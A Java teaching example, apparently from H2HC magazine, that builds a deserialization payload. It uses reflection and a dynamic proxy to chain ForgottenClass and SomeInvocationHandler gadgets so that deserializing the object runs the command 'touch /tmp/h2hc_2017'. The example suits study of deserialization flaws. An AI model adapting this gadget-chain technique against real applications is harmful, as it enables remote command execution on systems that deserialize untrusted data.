import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Map; /** * Exemplo didático de como usar Reflection e Dynamic Proxy para desviar * o fluxo de execução durante a desserialização. * Esse código gera um payload para explorar um sistema hipotético que contenha * as classes ForgottenClass e SomeInvocationHandler no classpatch. * * ----------------------------------------------------------------------- * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine: * https://www.h2hc.com.br/revista/ * ----------------------------------------------------------------------- * **** USAGE **** * * Compilando: * $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java * * Executando * $ rm /tmp/h2hc_2017 * $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1 * $ ls -all /tmp/h2hc_2017 * * * @author @joaomatosf */ public class ExploitGadgetExample1{ @SuppressWarnings ( {"unchecked"} ) public static void main(String[] args) throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException, IOException, ClassNotFoundException { // Instancia um SomeInvocationHandler InvocationHandler handler = new SomeInvocationHandler(); Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler fieldHandler.setAccessible(true); // torna o campo "cmd" acessível fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd" // criar interface Map Class[] interfaceMap = new Class[] {java.util.Map.class}; // Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler); // Intancia ForgottenClass (que sera' serializado) ForgottenClass gadget = new ForgottenClass(); Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass field.setAccessible(true); // torna o campo "map" acessível field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map" // Serializa objeto do ForgottenClass e salva no disco System.out.println("Serializing ForgottenClass"); FileOutputStream fos = new FileOutputStream("/tmp/object.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(gadget); oos.flush(); // Desserializa objeto a partir do arquivo, para simular o que devera // ocorrer quando o objeto for desserializado por uma aplicacao System.out.println("Deserializing ForgottenClass"); FileInputStream fis = new FileInputStream("/tmp/object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); // <-- Inicia a desserializacao! } //end main }